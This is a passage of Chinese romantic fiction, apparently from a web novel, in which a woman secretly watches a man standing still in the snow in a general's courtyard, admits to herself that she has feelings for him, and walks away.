宛楪没有回头,走了出去。
那天晚上,她去了将军府。
只是远远地看着。
雪还在下。她站在一棵老槐树的阴影里,看着那个院子,看着院子里那个人。
他站在院子里,对着月亮发呆。雪落在他身上,落了一层又一层,他也不动,就那么站着,像一尊雪雕。
她看见他按着胸口,嘴唇动了动,不知道在说什么。可她知道他说的是什么。
他说的是那张纸条上的字。
“平安勿念。”
她看了很久很久。
雪花落在她身上,她也一动不动。就那么看着,看着月光下那个人的轮廓,看着他肩上的雪越积越厚,看着他呼出的白气在夜风里散开。
她想走过去。
可她不能。
她告诉自己:只是看看真身有没有异动。
可她知道不是。
真身没有异动。
有异动的是她自己。
最后她转过身,走进雪里。
走了很远之后,她回头看了一眼。
那个院子已经看不清了,只有一点灯火在雪里明明灭灭,像一颗不肯熄灭的心。
她看了很久,然后继续往前走。
雪落了她一身。